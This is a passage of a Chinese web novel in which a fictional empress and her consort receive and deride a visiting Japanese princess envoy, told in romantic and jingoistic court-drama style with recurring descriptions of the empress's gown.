慕容嫣闻言,?不仅不怒,?反而嗤笑一声,?语气充满了不屑?:“哼果然是一群鼠辈,只敢在暗地里算计有贼心没贼胆,还想来调停?他们也配?” 她说着,?像打发苍蝇般挥了挥手,“ 让他们来好了正好看看他们能玩出什么花样,要是敢提什么非分之想,正好一并收拾了,省得日后惦记。” 她的态度,全然没将倭国的算计放在眼里,仿佛只是在谈论一件微不足道的小事。 林臻点头赞同?:“嫣儿所言极是。跳梁小丑,不足为虑。平壤指日可下,倭国若识相,便该老老实实待在自己的岛上。若不自量力东海之上,正好为我大乾水师添些战功。” 他的话语中,充满了强大的自信。 “就是,”慕容嫣满意地往他怀里又缩了缩,“有夫君在,我才不怕那些宵小之辈呢。” 她打了个小小的哈欠,?霞光映照下,?她的脸颊泛着红晕,?更显娇媚, “夫君我困了。” “那就回去歇息吧。”林臻柔声道,?作势要抱她起来。 “不要嘛。”慕容嫣撒娇,?赖着不动,“再坐一会儿,再看一会儿晚霞,夫君你抱紧我就不冷了。” 林臻无奈又宠溺地笑了笑,?只好将她更紧地搂在怀中,?用体温温暖她。 两人便这样相拥着,静静地看着天边的晚霞一点点褪去颜色,夜幕缓缓降临。 就在这时,慕容嫣似乎觉得姿势不舒服,?轻轻转过身,?想面对林臻,?将脸埋进他怀里。 就在她转身的刹那—— 动作带着全然的依赖与安心! 那垂落在地、随风轻动的五丈墨金色拖尾被带动,?唰啦一声,?在木地板上滑过?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在暮色四合中仿佛蕴藏着无尽力量与温暖的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出如同夕阳最后余烬般深沉而辉煌的金芒,那光芒充满了安宁、满足与对未来的绝对掌控,尊贵、辉煌,且带着一种俯瞰群小、波澜不惊的磅礴气度! 这惊鸿一瞥,是对倭国那些卑鄙算计最无声却最有力的回应。 裙摆落下,将那片深沉的金光与满心的安宁一同掩盖。 慕容嫣在林臻怀中,?渐渐沉入梦乡。 远方倭国宫廷内的贪婪密谋,与她此刻的恬静幸福,形成了最鲜明的对比。 在她绝对的实力面前,一切阴谋诡计,都不过是徒劳的挣扎。 第995章 派公主前来?这不是送死么 圣徽二年,七月中旬。 倭国难波京的密议之后,一项充满投机与算计的决策开始付诸实施。 为了彰显“诚意”与“分量”,同时也为了在可能的交涉中增加筹码,倭国女天皇决定派遣一位身份尊贵的使者——她的同母妹妹,樱花内亲王前往大乾。 名义上,是代表倭国皇室进行“友好访问”并“关切地调停”高句丽局势,实则怀揣着藤原不比等所谋划的、趁火打劫攫取利益的隐秘目的。 一艘装饰着倭国皇室菊纹、相对其他倭船更为高大华丽的遣使船,在数艘护卫战船的簇拥下,驶离了难波港,乘着夏季的西南风,向着西北方向的大乾辽东沿岸破浪而行。 海天一色,鸥鸟翔集,但对于船上的乘客而言,心情却远不如景色这般开阔明朗。 在使船最为宽敞的舱室内,樱花内亲王正凭窗远眺。 她年方二八,身着繁复的十二单衣,容貌清丽,眉宇间却带着一丝与年龄不符的忧虑与茫然。 作为皇室公主,她深知此次使命的微妙与风险,远涉重洋,前往一个正以铁血手段征服邻国的强大帝国,面对那位传说中身着诡异华服、喜怒无常的大乾女帝,前途未卜。 “内亲王殿下,海上风大,还请保重凤体。”一个沉稳的男声在她身后响起。 说话者是一位年轻将领,名为大伴骏河,是此次使团的护卫统领,也是倭国年轻一代中颇具勇名的武士。 他身着轻甲,腰佩长刀,身形挺拔,目光锐利,但此刻看向公主的眼神却充满了难以掩饰的关切与一丝隐藏的爱慕。 樱花内亲王闻声,轻轻转过头,露出一抹淡淡的、带着愁绪的微笑:“是大伴将军啊。无妨,我只是看看这无边的大海,心中有些茫然。” 她的声音轻柔,如同海风呢喃。 大伴骏河走到她身侧,保持着一臂的恭敬距离,也望向窗外蔚蓝的海面,低声道:“殿下不必过于忧心。臣定当竭尽全力,护卫殿下周全。无论前方是何龙潭虎穴,臣之刀剑,皆为殿下而挥。” 他的话让樱花内亲王心中微微一暖,脸颊泛起不易察觉的红晕。 她自幼在深宫长大,少见外臣,此次远行,大伴骏河是她接触最多、也最为依赖的异性。 他英武忠诚,一路上的悉心护卫,早已在她少女的心湖中投下了涟漪。 “将军有心了。”她轻声回应,目光重新投向远方,仿佛想穿透海平面,看到那片传说中的土地, “只是不知那大乾,究竟是怎样的国度?听闻其疆域万里,物华天宝,都城长安更是繁华似锦,远非我难波京可比”她的语气中,不禁流露出一丝对外面世界的向往。 大伴骏河闻言,眼中也闪过一丝憧憬: “臣亦听闻,大乾国力强盛,文化昌明,有诗云‘九天阊阖开宫殿,万国衣冠拜冕旒’。其军容鼎盛,甲胄精良,确是我倭国难以企及。” 他本想说“远胜”,但出于武士的矜持,改为了委婉的说法。 他顿了顿,声音更低了些,带着一丝试探,“若能留在大乾,见识其风华,甚至为其效力,或许亦是一条出路?” 樱花内亲王娇躯微微一颤,惊讶地看向大伴骏河。 留在大乾? 这个想法太大胆了! 但并非没有吸引力。 远离倭国宫廷的束缚,在一个更广阔的世界生活她的心跳不由自主地加快了几分。 她看着大伴骏河坚毅的侧脸,心中涌起一个更胆大的念头:若是与他一起 “将军何出此言?”她强作镇定,声音却带着一丝颤抖,“我等身负使命,代表倭国皇室,岂可轻易言留?” 大伴骏河转过头,目光灼灼地看着她:“殿下,恕臣直言。此次使命,吉凶难料。苏我大臣等人所想,无非火中取栗。大乾女帝慕容嫣,岂是易与之辈?若交涉不顺,我等恐成弃子。若能得大乾庇护,或许反得生机。” 他深吸一口气,鼓足勇气, “若能远离故土是非,与心意相通之人,觅一处安宁之地,岂不胜过在朝堂倾轧中战战兢兢?”他的话语,已近乎表白。 樱花内亲王的脸瞬间红透,心如鹿撞。 她慌忙低下头,手指无意识地绞着衣袖,声如蚊蚋:“将军慎言此事容后再议。” 但她的心中,却因这番话掀起了滔天巨浪。 留在大乾? 与骏河一起? 这个原本不敢想象的念头,此刻却如同海上的浮木,给了身处迷茫与不安中的她一丝虚幻的希望。 他们开始幻想大乾的富饶与美丽,幻想在那里可能拥有的自由生活,却浑然不知,他们即将踏入的,是一个刚刚经历血火洗礼、其主宰者意志如钢铁般坚硬的帝国,他们的命运,早已不在自己手中。 与此同时,安州行辕的花园内,却是一派闲适静谧。 夏日的午后,绿树成荫,蝉鸣阵阵。 慕容嫣并未处理政务,?而是与林臻在凉亭内对弈品茗,?享受难得的闲暇。 慕容嫣只穿着那身神凤降世裙。 裙子的棉质面料透气吸汗,?在炎夏中倒也舒适。? 她乌黑的长发随意披散着,?只用一根简单的金环束在脑后,?几缕发丝被汗水沾湿,?贴在白皙的颈侧,?更添几分慵懒风情。 ?神凤降世裙在树荫斑驳的光线下,华美中透着一丝居家的随意。 ?极致玄黑的苏锦底料在阴凉处色泽愈发沉静深邃,织入的金色棉绒与真金线则在偶尔透下的阳光中跳跃出点点金芒。 ?睡裙之上,那只擎天巨凤的图案,在悠闲对弈时,少了几分睥睨天下的霸气,多了几分栖息林下的安然与华贵。? 宽大的喇叭袖被她挽至手肘,?露出两截莹白的小臂,?她左手拇指上的墨玉扳指,?在执子时与玉石棋子轻轻碰撞。 那长达五丈的苏锦拖尾,?在凉亭光滑的石板地面上,?铺展开来。 因她坐姿闲散,?不时变换姿势,?那拖尾便自然地蜿蜒盘绕在石凳周围,?甚至有一部分,?滑落到了亭外的草地上,?沾染了青草的气息和些许尘土。 这种在私人空间里全然放松形成的、毫不刻意的凌乱,?更显真实与亲密。? 棉质的柔软与睡裙的称谓,在此刻纯粹成为了她个人舒适与偏好的体现。 “夫君你又偷看我,是不是又想耍赖?”慕容嫣拈着一枚黑子,?正要落下,?却抬起凤眸,?娇嗔地瞪了对面含笑凝视她的林臻一眼。 林臻执白子,?闻言莞尔,?伸手轻轻握住她悬在棋盘上的手腕?:“为夫岂敢耍赖?只是我的嫣儿,连思索棋局时都如此动人,让人移不开眼。” 他的情话信手拈来,目光温柔得能溺死人。 慕容嫣脸颊微红,?嗔怪地抽回手,?却掩不住嘴角的笑意?:“油嘴滑舌快下棋啦!” 她说着,?却顺势将落子的手轻轻放在林臻的手背上,?指尖调皮地挠了挠他的手心。 林臻被她的小动作弄得心痒,?反手将她的柔荑握在掌心,?低笑道:“好,这便下。不过若是为夫赢了,嫣儿可否答应为夫一个小小要求?” “什么要求?”慕容嫣好奇地眨眨眼。 “今晚陪为夫去城外的荷塘泛舟赏月,可好?”林臻眼中满是期待。 慕容嫣脸上红晕更甚,?眼中却闪着雀跃的光?:“嗯准了!不过你得先赢了我再说!” 她说着,?自信地落下棋子。 两人相视一笑,浓情蜜意,尽在不言中。 亭外的蝉鸣,仿佛也成了伴奏的乐曲。 第996章 隆重接见 就在这时,一名内侍悄无声息地走近亭外,躬身禀报:“陛下,亲王殿下,有‘夜枭’急报。 慕容嫣正沉浸在棋局与爱人的温情中,?闻言,?秀眉微蹙,?露出一丝被打扰的不悦,?但很快恢复平静,?慵懒地靠在椅背上,?示意林臻?:“夫君你听吧,我懒得动。” 林臻点点头,?对那内侍道?:“讲。” “禀亲王,倭国使团已离港数日,正朝我辽东方向而来。此次使团规格较高,正使为倭国女天皇之妹,樱花内亲王。护卫统领为大伴骏河。据查,倭国内部对此次出使目的不一,恐怀有试探乃至投机之心。” 林臻听完,?神色不变,?只是淡淡地挥了挥手?:“知道了,退下吧。继续严密监视,随时来报。” “是。” 内侍退下后,慕容嫣才懒洋洋地开口,?语气带着几分不屑和调侃?:“哦?倭国女皇的妹妹?派个公主来是想用美人计吗?还是觉得派个女人来朕就会心软?” 她说着,?自己都忍不住轻笑出声,?伸手拿起一块冰镇西瓜,?小口咬了一下。 林臻也笑了,?拿起丝帕,?细心替她擦去嘴角的西瓜汁?:“美人计?天下间,又有谁能美过我的嫣儿?倭国此举,不过是彰显所谓‘重视’,外加或许觉得女子之间更好说话罢了。其投机之心,昭然若揭。” “跳梁小丑,”慕容嫣哼了一声,?将剩下的西瓜递到林臻嘴边,“夫君尝尝,好甜呢,不管他们来了再说,要是识相,就让他们见识见识天朝上国的气度,要是不识相,” 她凤眸中寒光一闪,?随即又消散,?变回慵懒, “那就让他们哪儿来的回哪儿去,或者留下来给咱们修宫殿也行。” 她的语气,?仿佛在谈论如何处理几只误入花园的飞虫。 林臻张口接过西瓜,?点头道?:“都依嫣儿。倭国僻处海岛,资源匮乏,见利忘义,常有此等妄想。然其国小力微,水师不堪一击,纵有千般算计,在我大乾绝对实力面前,也不过是蚍蜉撼树。待其到来,晾他们几日,再看其如何表演便是。” “嗯,夫君说得对。”慕容嫣满意地点点头,?又将注意力放回棋盘,“哎呀,光顾着说话这步棋该怎么下呢,夫君你不许提醒我!” 林臻宠溺地看着她,?不再言语,?只是静静地看着她凝神思索的可爱模样。 夕阳西下,凉亭内的光线变得柔和。慕容嫣终于想好了棋路,?得意地落下棋子,?然后开心地扑向林臻?:“夫君!我赢了!今晚你要陪我去泛舟!” 林臻大笑着接住她,?将她紧紧搂在怀里?:“好好为夫愿赌服输今晚就陪我的女帝陛下,泛舟月下。” 慕容嫣心满意足地偎依在他怀中,?咯咯笑着。 那身神凤降世裙的墨金色泽,在夕阳余晖中,流淌着幸福与安宁的光华。 远方海面上,那艘承载着野心与幻想的倭国使船,正驶向这片已被她牢牢掌控的土地,而他们的命运,早已在她与爱人的笑语欢声中,被注定。 就在慕容嫣开心地从林臻怀中起身,?拉着他的手要离开凉亭准备晚膳和夜游时—— 动作带着纯然的喜悦与期待! 那在亭内地面铺陈凌乱的五丈墨金色拖尾被带动,?唰啦一声,?拂过石阶?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在夏日夕阳温暖光线下闪烁着蜜糖般甜美光泽的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出温暖而耀眼的金芒,那光芒充满了爱与幸福,是对远方觊觎者最不屑的嘲讽,尊贵、辉煌,且带着一种沉浸在自身美满中、无暇他顾的绝对优越感! 这惊鸿一瞥,是慕容嫣内心世界的真实映射。 圣徽二年,七月下旬。倭国使团历经海上颠簸,终于抵达大乾控制下的辽东海岸。 在经历了严格的检查和短暂的隔离后,樱花内亲王一行被准许前往安州城觐见大乾女帝慕容嫣。一路上,所见所闻无不令这些来自岛国的使者心惊。 港口停泊的庞大战舰,沿途巡逻的精锐骑兵,以及正在快速恢复生机的城镇乡村,都彰显着这个帝国的强大实力与高效治理,与他们想象中的“蛮横屠夫”形象相去甚远,反而更添几分深不可测的威严。 这一日,安州城原高句丽守备府衙,已被临时改为接见外使的行宫正殿。 虽不及长安皇宫的恢弘,但也经过一番布置,显得庄重肃穆。 殿内烛火通明,黑甲侍卫持戟肃立,气氛森严。 慕容嫣端坐于大殿上首的凤椅之上,?身姿挺拔,?凤眸低垂,?不怒自威。 ?依照她绝不更改的习惯,??依旧是那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 ??左手拇指上的墨玉扳指,?在殿内光线下泛着幽深的光泽。 ?神凤降世裙在这庄重的场合,如同蛰伏于华服之下的灵魂,其存在感非但没有被掩盖,反而更添一种神秘与独特。 ?极致玄黑的苏锦底料在层层礼服之下,更显其吸纳一切的深邃本质,织入的金色棉绒与真金线则透过外袍的缝隙,流淌出内敛而持重的辉光。 ?睡裙之上,那只擎天巨凤的图案,虽被礼服遮掩大半,但那份蕴含的磅礴力量感,却透过慕容嫣的坐姿与气度弥漫整个大殿。?宽大的喇叭袖被礼服袖口所覆盖。 而那长达五丈的苏锦拖尾,?此刻成为了最引人注目的存在——它并未被收起或挽起,?而是从凤椅之上迤逦垂下,?铺过数级丹陛,?一直延伸到殿门附近的光洁金砖地面上。 由于礼服的拖曳和慕容嫣端坐的姿态,这睡裙的拖尾便在庄重之中形成了一种无视常规、彰显绝对权力的凌乱铺陈,?甚至有几处,?与礼服的边缘交织缠绕,?墨金与玄黑相映,?更显华美夺目。 这种凌乱,?在此刻,?是一种无声的宣告?:?即便在最正式的场合,?她的意志与喜好,?亦不容任何约束。 ?棉质的柔软与睡裙的称谓,在这至高无上的权力中心,已然升华为一种超越凡俗的象征。 林臻身着亲王蟒袍,?坐在慕容嫣下首稍侧的位置,?面色平静,?目光深邃,?如同慕容嫣最坚实的后盾与影子。 他的存在,让殿中的威压更增几分。 第997章 跟我耍心眼,你还嫩点 “宣——倭国使臣,樱花内亲王,觐见——!”内侍官高声唱喏。 殿门开启,在数名大乾礼官的引导下,倭国使团一行人低眉顺目、步履谨慎地走入大殿。 为首者,正是樱花内亲王。她今日穿着最为隆重的倭国皇室朝服,十二单衣层层叠叠,色彩斑斓,但与慕容嫣那深沉如渊、金芒内蕴的墨金色泽相比,顿时显得繁琐而小家子气。 她身后跟着护卫统领大伴骏河及几名副使,皆躬身垂首,不敢直视上方。 一行人至殿中,依礼跪拜,樱花内亲王用略显生硬的汉语,恭敬地说道:“倭国天皇御妹,樱花内亲王,奉姊皇之命,参谒大乾圣徽皇帝陛下,愿陛下万岁,圣体安康,国运永昌。” 声音带着一丝不易察觉的颤抖。 慕容嫣目光淡淡地扫过下方,?并未立刻叫起,?让那无形的威压持续了片刻。 她早已从“夜枭”密报中得知此女身份及倭国内部的盘算,?心中冷笑,?面上却不动声色。 “平身。”慕容嫣终于开口,?声音清冷,?透过内力传遍大殿,?带着不容置疑的威严。 “远来是客。赐座。” “谢陛下!”樱花内亲王暗暗松了口气,在礼官指引下,于殿侧设好的矮凳上小心翼翼坐下,大伴骏河等人则肃立其后。 按照惯例,樱花内亲王再次代表倭国女皇,表达了对大乾皇帝的问候,并献上了早已准备好的礼单,无非是倭国的特产金珠、珊瑚、宝刀、漆器等。 慕容嫣微微颔首,?示意内侍收下,?语气平淡?:“贵国女皇有心了。” 她顿了顿,?凤眸看向樱花内亲王,?直接切入主题,“内亲王不远千里,渡海而来,想必不只是为了向朕问安送礼吧?高句丽之事,天下皆知。贵国有何见解?” 这是直球询问,也是给倭国一个表明来意的机会。 然而,樱花内亲王闻言,却并未按照预想中那般提出“调停”或“关切”,而是再次躬身,脸上堆起尽可能真诚的敬仰之色,用练习了许久的谀辞说道: “陛下明鉴。外臣此次奉旨前来,首要之事,确是代姊皇向陛下表达最崇高的敬意。陛下以女子之身,统御万里江山,文治武功,冠绝当世,实乃天下女子之楷模,万邦君王之典范。外臣在倭国时,便久仰陛下威名,今日得见天颜,更觉陛下神威浩荡,气度非凡,远超传闻。外臣实在是钦佩不已!” 她的话语充满了刻意的奉承,眼神中也努力做出崇拜的样子,绝口不提高句丽半字。 她身后的使臣们也纷纷附和,一时间,殿内充满了对慕容嫣个人魅力与治国才能的阿谀之词,仿佛他们真是来朝圣而非进行外交斡旋。 慕容嫣端坐其上,?面无表情地听着,?手指有一下没一下地轻敲着凤椅扶手。 林臻在一旁,?嘴角则勾起一抹几不可察的嘲讽弧度。 这种低级的捧杀伎俩,在他们看来,实在拙劣可笑。 待樱花内亲王一番慷慨激昂的“敬仰之情”暂告一段落,殿内稍稍安静下来时,慕容嫣才缓缓抬起眼,?目光如电,?直射向樱花内亲王,?嘴角带着一丝玩味的笑意,?开口问道,?声音不大,?却清晰地传入每个人耳中?: “哦?如此说来内亲王你,千里迢迢,乘风破浪,来到朕这辽东之地。” 她顿了顿,?语气中带着一丝毫不掩饰的戏谑与好奇,“就只是为了来当面夸一夸朕?” 殿内瞬间一片死寂。 樱花内亲王脸上的笑容瞬间僵住,一阵红一阵白,张了张嘴,却不知该如何接话。 她身后的大伴骏河等人,更是冷汗涔涔,头垂得更低。 慕容嫣这句轻飘飘的问话,如同一把锋利的匕首,直接剥开了他们虚伪的外衣,将那份不敢宣之于口的真实目的,暴露在光天化日之下。 接见仪式在一种诡异而尴尬的气氛中结束。 倭国使团被安排至馆驿休息, “容后再议”。 慕容嫣回到后殿,?早已卸下了那身沉重的大礼服,?只穿着轻松的神凤降世裙,?慵懒地靠在软榻上。林臻坐在她身边,?正亲手剥着葡萄喂她。 “呵呵呵。”慕容嫣一想到刚才大殿上樱花内亲王那副窘迫的样子,?就忍不住笑出声来,?她一边吃着葡萄,?一边抓着林臻的衣袖摇晃, “夫君你看到没,那个倭国公主脸都绿了,真好玩,她以为说几句好话就能糊弄过去吗?真是天真得可爱。” 林臻笑着将她揽入怀中,?用指尖擦去她唇边果汁?:“跳梁小丑,徒增笑耳。倭国派此女来,无非是觉得女子之间好说话,想用这等拙劣手段攀交情、套近乎,再图后计。殊不知,在嫣儿的绝对实力面前,一切阴谋诡计,都不过是儿戏。” “就是!”慕容嫣得意地扬起下巴,“想跟朕耍心眼她还嫩了点,不过。” 她忽然眨眨眼,?露出狡黠的笑容,“夫君你说,她长得还算清秀,要是她真的只是想留下来夸朕,朕是不是该考虑给她个女官做做?天天让她在旁边说好话哄我开心?” 林臻闻言,?忍俊不禁,?低头在她光洁的额头上吻了一下*:“我的嫣儿何时需要这等谄媚之徒来哄开心了?有为夫在,还不够吗?若她真想留平壤城破后,倒是有的是地方需要人手修缮。” 他的话语中,带着一丝冷幽默。 慕容嫣被逗得咯咯直笑,?在他怀里蹭了蹭?:“夫君最会哄我了,嗯,那就先晾他们几天,看看他们还能玩出什么花样,反正平壤城里的人也快撑不住了,我们有的是时间陪他们玩。” 她说着,?从林臻怀中起身,?走到窗边,?眺望着安州城的夜景,?灯火阑珊,?一片安宁。 那身神凤降世裙在室内柔和的灯光下,?墨金色的光华静静流淌。 就在她转身,?想对林臻说什么的刹那—— 动作带着洞悉一切后的轻松与戏谑! 那迤逦在榻前、铺散凌乱的五丈墨金色拖尾被带动,?唰啦一声,?拂过光滑的地板?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在温暖光线下闪烁着睿智而嘲讽光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出洞察秋毫般的锐利金芒,那光芒充满了居高临下的审视与对愚蠢伎俩的无情蔑视,尊贵、辉煌,且带着一种将一切掌控于股掌之间的绝对自信! 这惊鸿一瞥,是对倭国使团所有小心思的最彻底看穿。 裙摆落下,将那片睿智的金光掩盖。 慕容嫣走回林臻身边,?重新依偎进他怀里,?打了个哈欠?:“夫君我困了,那些倭国人的事明天再说吧。” “好,歇息吧。”林臻柔声道,?横抱起她,?走向寝殿。 倭国使团的谀辞与算计,在这温馨的夜晚,不过是一阵微不足道的清风,丝毫吹不乱帝后二人的心绪。 平壤城的终局,以及这些远道而来的“客人”的命运,早已在慕容嫣那看似随意的一问中被注定。 第998章 倭国公主震惊了 圣徽二年,八月初。 倭国使团在安州城馆驿中已等候数日,除了初次觐见时的尴尬场面外,大乾方面再未安排正式会谈,仿佛将他们遗忘了一般。 樱花内亲王心中愈发忐忑,既忧心使命,又对那座传闻中被鲜血浸透、如今却呈现异样生机的城市充满了好奇。 在征得大乾礼部官员的有限允许后,她决定带着护卫统领大伴骏河,微服前往安州城内的市井看看。 褪去繁复的十二单衣,换上较为朴素的和服,樱花内亲王与大伴骏河在几名大乾便衣侍卫的“陪同”下,走上了安州城的街头。 此时已是夏末秋初,天高云淡,阳光和煦。 街道两旁,店铺林立,幡旗招展,贩夫走卒吆喝声不绝于耳。 行人摩肩接踵,虽大多衣着简朴,但脸上却少见战乱后的凄惶,反而带着一种忙于生计的充实感,甚至偶尔能听到几声笑语。 孩童在街角追逐嬉戏,老人坐在屋檐下悠闲地晒着太阳,一片熙熙攘攘的市井烟火气。 这与樱花内亲王想象中的“屠城之地”景象截然不同! 她那双清澈的眼眸中充满了困惑与难以置信。她忍不住用生硬的汉语,向路边一位正在售卖新摘瓜果的老农询问:“老丈,请问这安州城,不是不是经历过战火吗?为何为何大家看起来如此安宁?” 那老农抬起头,黝黑的脸上布满皱纹,却带着憨厚的笑容。 他打量了一下眼前这对衣着略显奇特、口音怪异的年轻男女,以及他们身后明显是大乾官差打扮的随从,似乎明白了什么,操着浓重的辽东口音说道: “哦,你们是外邦来的贵人吧?是啊,去年这时候,这城里城外还打得厉害哩!慕容陛下哦,就是咱们大乾皇帝,用天火破了城唉,那时候,真是死了不少人呐。” 老农的语气中带着一丝唏嘘,却并无太多仇恨,反而继续说道: “可后来啊,陛下她老人家下了旨意,免了咱们三年的赋税,还把那些没人要的地分给咱们种,派了官来修路架桥,发放粮种农具你看这集市,也是官府帮着重新建起来的。咱们老百姓,图个啥?不就图个安稳,有口饭吃嘛!以前在高句丽王手下,苛捐杂税多如牛毛,日子过得紧巴巴的。现在虽说想起那场仗心里还咯噔一下,但日子,是实实在在比以前好过多了!陛下是严厉了些,可对咱们平民百姓,那是没得说!是真龙天子啊!” 老农的语气愈发恭敬,甚至带着几分崇拜。 樱花内亲王与大伴骏河面面相觑,心中震撼无以复加。 屠城者,竟成了百姓口中的“真龙天子”? 这完全颠覆了他们的认知。 他们又试探着问了几个人,一个茶馆的伙计,一个铁匠铺的工匠,得到的回答大同小异——承认过去的惨烈,但更着眼于当下的安定与希望,并对慕容嫣的治国手段表现出极高的认可甚至崇拜。 那种发自内心的拥戴,绝非强权所能轻易伪造。 “慕容陛下虽然,嗯,当初是可怕了点,”一个中年妇人一边缝补衣物一边说,“但她说话算数啊!说免税就免税,说分地就分地!比那些光会盘剥咱们的老爷们强多了!咱们现在啊,就盼着陛下长命百岁,这好日子能一直过下去!” 妇人的话语朴实,却道出了最真实的民心向背。 樱花内亲王默然无语。 她原本心中对慕容嫣的恐惧与厌恶,此刻竟有些动摇。 她开始隐隐明白,那位远在长安、威名赫赫的女帝,其统治的根基,恐怕不仅仅是恐怖的屠刀,更有如此精准而有效的怀柔与治理。 这种认知,让她对完成使命更加感到绝望。 大伴骏河亦是神色凝重,手不自觉地按在了刀柄上,却又无力地松开。 在这种看似平和却根深蒂固的拥护面前,任何武力或阴谋,都显得如此苍白。 与此同时,安州行宫慕容嫣的寝殿内,却是另一番光景。 时近黄昏,殿内烛火初上,光线柔和。 慕容嫣并未穿戴任何正式服饰,?只穿着那身神凤降世裙,?如同最舒适的寝衣,?慵懒地半倚在铺着软垫的窗边榻上。 ?夏日余热未消,?她将那件黑金貂皮披肩搁在一旁,?裙子的棉质面料透气吸汗,?正适合这夏末的傍晚。 ?窗外,?依稀可以听到远处市集的隐约喧闹。 ?神凤降世裙在寝殿私密柔和的光线下,展现出一种居家的、毫无防备的华美。? 极致玄黑的苏锦底料吸吮着温暖的烛光,色泽愈发深沉静谧,织入的金色棉绒与真金线则流淌着蜂蜜般温润的辉光。 ?睡裙之上,那只擎天巨凤的图案,在放松休憩时,敛去了所有锋芒,宛如栖息于温暖巢穴中的凤凰,安详而高贵。? 宽大的喇叭袖一只软软垂在榻边,另一只则被慕容嫣用来垫着下巴,?她正百无聊赖地翻着一本闲书。 她左手拇指上的墨玉扳指,在烛光下泛着莹润的光泽。 那长达五丈的苏锦拖尾,?在榻上迤逦地铺展开,?一部分堆叠在她身侧,?一部分垂落榻沿,?甚至有一截,?滑落到了铺着地毯的地面上。 这种在私人空间里极致放松形成的、随心所欲的凌乱,?更添几分真实的生活气息与亲密感。 ?棉质的柔软与睡裙的舒适,在此刻达到了极致。 殿门轻响,林臻走了进来。 他已卸去蟒袍,穿着一身月白色的家常便服,更显得长身玉立,温文尔雅。 他手中端着一碗冰镇好的银耳莲子羹,?走到榻边,?柔声道?:“嫣儿,看什么书呢?歇歇眼睛,喝点羹汤。” 慕容嫣闻声抬起头,?看到是他,?脸上立刻绽放出明媚的笑容,?随手将书丢到一边,?像只等待投喂的猫儿般向他伸出手?:“夫君你来了,我看的是些杂记没什么意思,还是夫君煮的羹好喝。” 她的语气带着浓浓的依赖与撒娇。 林臻含笑坐在榻边,?用银匙舀起一勺,?细心地吹了吹,?才递到她唇边?:“慢点喝,小心凉。” 慕容嫣乖巧地张口接过,?满足地眯起眼?:“嗯,好甜,夫君手艺最好了。” 她说着,?身子一歪,?便靠进了林臻怀里,?将头枕在他肩上,?蹭了蹭, 第999章 林臻接待倭国公主 “夫君你忙完了?那些倭国人没再闹什么笑话吧?” 林臻一手揽着她,?一手继续喂她喝羹,?低笑道?:“还能闹什么笑话?不过是按捺不住,今日去了市井闲逛,想必是被安州如今的景象惊到了。” “哦?”慕容嫣来了兴趣,?仰起脸看他,?凤眸中闪着狡黠的光,“他们是不是想不明白,为什么被朕屠过的城百姓还能笑得出来?” “嫣儿明察秋毫。”林臻低头,?在她光洁的额上吻了一下,“民心如水,载舟覆舟。嫣儿先以雷霆手段击碎旧秩序,再施以雨露恩泽,重建家园,百姓得了实惠,自然归心。倭国僻处海岛,只知劫掠,岂懂治国安邦之道?他们看到的‘升平’,正是嫣儿你一手缔造的奇迹。” 慕容嫣被夸得心花怒放,?得意地皱了下鼻子?:“那是自然!朕又不是只会杀人对听话的子民朕可是很大方的!” 她说着,?又想起什么,?撅起嘴, “不过那个倭国公主看人的眼神怪怪的,朕不喜欢,夫君明天接见,你替朕打发她好了,我不想跟她多说话。” “好,都依你。”林臻宠溺地应道,?将最后一口羹喂给她,?然后拿出丝帕,?细心替她擦拭嘴角,“明日为夫去见她,看看她究竟还有什么说辞。若还是那些阿谀奉承之词,便直接打发他们回去。” 慕容嫣满意地点点头,?像只吃饱喝足的猫儿,?在他怀里找了个更舒服的位置,?懒洋洋地打了个哈欠:“夫君,我困了,抱我去睡觉。” “好。”林臻柔声应着,?轻轻将她横抱起来。 慕容嫣双臂自然地环住他的脖颈,?将脸埋在他胸前,?呼吸渐渐均匀。 就在林臻抱着她,?转身走向里间寝榻的刹那—— 动作带着全然的信任与安宁! 那在榻上铺散凌乱、垂落在地的五丈墨金色拖尾被带动,?唰啦一声,?如同流水般滑过地毯?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在寝殿温馨烛光下闪烁着幸福与满足光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出如同家灯火般温暖而耀眼的金芒,那光芒充满了被爱包围的安宁、对自身成就的骄傲以及对琐碎干扰的不屑一顾,尊贵、辉煌,且带着一种沉浸在美满生活中、无暇他顾的绝对优越感! 这惊鸿一瞥,是她内心世界最真实的写照,与倭国使团的困惑形成了鲜明对比。 裙摆落下,将那片温暖的金光与满室的温馨一同掩盖。 林臻将慕容嫣轻轻放在柔软的寝榻上,?为她盖好锦被。 看着她恬静的睡颜,他眼中充满了无尽的爱怜。 殿外,倭国使团还在为看到的“异常”景象而困惑不已;殿内,缔造这一切的女帝,却在她最爱的夫君怀中,沉入甜蜜的梦乡。 帝国的强盛与个人的幸福,在此刻完美交融。 ...... 圣徽二年,八月初五。 安州城行辕,一处用于处理日常事务的偏殿议事厅内,气氛庄重而不失雅致。 既然女帝慕容嫣明确表示不愿再亲自接见倭国使臣,那么依照礼制,由摄政亲王、女帝的皇夫林臻出面接见,已是极高的规格,也符合外交惯例。 樱花内亲王在得到通传后,怀着比觐见慕容嫣时更加复杂忐忑的心情,步入了议事厅。 她今日依旧穿着较为正式的倭国宫装,但比起上次觐见时的隆重,稍显素雅了些,或许是想展现出一种诚恳求教的姿态。 她的护卫统领大伴骏河,作为使团重要成员,也被允许随行,但只能肃立在厅门内侧,与几名大乾侍卫一同候着。 议事厅内,林臻并未端坐于主位之上,而是站在一幅巨大的辽东及周边海域舆图前,?负手而立,?似在沉思。 他身着一袭玄色暗金纹亲王常服,?腰束玉带,?身姿挺拔如松,?虽未佩剑,?但那股久经沙场、执掌权柄的沉稳气度,?却自然而然地弥漫开来。 听到通传,他缓缓转过身,?面容平静,?目光温和却深邃,?如同不见底的深潭,?让人不敢直视。 “倭国使臣樱花内亲王,参见大乾摄政亲王殿下。”樱花内亲王依照礼制,深深鞠躬行礼,声音带着一丝不易察觉的紧张。 “内亲王不必多礼,请坐。”林臻微微颔首,?声音平和,?却自有一股不容置疑的威严。他率先在主位一侧的紫檀木扶手椅上坐下,?姿态优雅从容。 樱花内亲王道谢后,在对面下首的椅子上小心翼翼地坐下,双手交叠置于膝上,显得有些拘谨。 